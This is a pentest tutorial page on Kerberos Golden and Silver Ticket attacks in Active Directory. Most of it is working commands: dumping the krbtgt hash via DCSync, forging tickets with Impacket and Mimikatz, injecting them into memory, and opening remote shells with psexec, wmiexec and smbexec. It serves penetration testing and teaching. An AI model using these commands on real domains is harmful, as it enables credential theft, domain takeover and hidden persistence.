Skip to content
HackIndex logo

HackIndex

Golden Ticket and Silver Ticket Attacks

4 min read Jul 10, 2026

A Golden Ticket is a forged TGT signed with the krbtgt account's hash. Because the KDC trusts its own signature, the ticket is accepted as valid for any service in the domain, for any user, including non-existent ones (pre-November 2021 patches) or any existing user (post-patch). A Golden Ticket gives you persistent, domain-wide lateral movement for as long as the krbtgt password is unchanged.

A Silver Ticket is a forged TGS for a specific service, signed with the service account's hash. It bypasses the KDC entirely, the target host validates the ticket using its own account hash, with no KDC contact required. Silver Tickets are more surgical and harder to detect, but limited to a single host and service.

Both techniques are lateral movement and post-access persistence tools, not privilege escalation. You need DA or the relevant hashes first. Getting those is covered in the Post-Exploitation phase.

For using tickets once forged, see Pass-the-Ticket at https://hackindex.io/platforms/active-directory/lateral-movement/pass-the-ticket.

Golden Ticket: What You Need

  • krbtgt NT hash (or AES key)

  • Domain SID

  • Domain FQDN

  • A valid domain username to put on the ticket (required post-November 2021 patches)

Getting the krbtgt Hash and Domain SID

With DA credentials via DCSync:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump $DOMAIN/$USER:$PASSWORD@$TARGET_IP -just-dc-user krbtgt

The NT hash is the second field after krbtgt::

krbtgt:502:aad3b435b51404eeaad3b435b51404ee:e6b43234ea2ce6d8bafa4b17c7b3790f:::

Get the domain SID:

┌──(kali㉿kali)-[~]
└─$ impacket-lookupsid $DOMAIN/$USER:$PASSWORD@$TARGET_IP | grep "Domain SID" 
[*] Domain SID is: S-1-5-21-2365897340-51848609-3160590671

Forging a Golden Ticket with Impacket

┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator

This creates Administrator.ccache in the current directory. Use AES256 for stealth if you have the key:

┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -aesKey $KRBTGT_AES256 -domain-sid $DOMAIN_SID -domain $DOMAIN Administrator

Set the ticket and use it:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@dc.$DOMAIN -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-wmiexec $DOMAIN/Administrator@dc.$DOMAIN -k -no-pass
┌──(kali㉿kali)-[~]
└─$ impacket-smbexec $DOMAIN/Administrator@dc.$DOMAIN -k -no-pass

Forging a Golden Ticket with Mimikatz

kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /krbtgt:$KRBTGT_HASH /id:500 /ptt

/ptt injects directly into memory. Drop /ptt and add /ticket:golden.kirbi to save to disk for later use.

Silver Ticket: What You Need

  • NT hash of the target service account or computer account

  • Domain SID

  • Domain FQDN

  • Target SPN (service class and hostname)

  • A valid domain username to impersonate

Forging a Silver Ticket with Impacket

┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $SERVICE_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN -spn cifs/$TARGET_HOSTNAME.$DOMAIN Administrator

Useful SPNs by access type:

  • cifs/$TARGET_HOSTNAME.$DOMAIN: SMB file system access, psexec

  • http/$TARGET_HOSTNAME.$DOMAIN: WinRM / PowerShell remoting

  • host/$TARGET_HOSTNAME.$DOMAIN: PsExec shell

  • MSSQLSvc/$TARGET_HOSTNAME.$DOMAIN:1433: SQL Server access

  • ldap/$TARGET_HOSTNAME.$DOMAIN: LDAP / DCSync

Set and use the ticket the same way as a Golden Ticket:

┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=Administrator.ccache
┌──(kali㉿kali)-[~]
└─$ impacket-psexec $DOMAIN/Administrator@$TARGET_HOSTNAME.$DOMAIN -k -no-pass

Forging a Silver Ticket with Mimikatz

mimikatz # kerberos::golden /user:Administrator /domain:$DOMAIN /sid:$DOMAIN_SID /target:$TARGET_HOSTNAME.$DOMAIN /service:cifs /rc4:$SERVICE_HASH /id:500 /ptt

Despite using kerberos::golden, supplying /target and /service creates a Silver Ticket.

Service Name Substitution (AnySPN)

Impacket attempts SPN substitution by default when using tickets, allowing a CIFS ticket to be swapped to HTTP for WinRM access. This is called AnySPN. Use impacket-tgssub to manually substitute the service class in a ticket if automatic substitution fails:

┌──(kali㉿kali)-[~]
└─$ impacket-tgssub -in ticket.ccache -out ticket_http.ccache -old-spn cifs/$TARGET_HOSTNAME.$DOMAIN -new-spn http/$TARGET_HOSTNAME.$DOMAIN

Ticket Lifetime

Tickets created by Impacket and Mimikatz default to 10-year lifetimes. For authorized engagements, limit the lifetime to match your engagement window to reduce risk:

┌──(kali㉿kali)-[~]
└─$ impacket-ticketer -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain $DOMAIN -duration 8 Administrator

-duration sets hours. Silver Tickets expire when the target computer account rotates its password (default every 30 days). Golden Tickets persist until the krbtgt password is changed.

References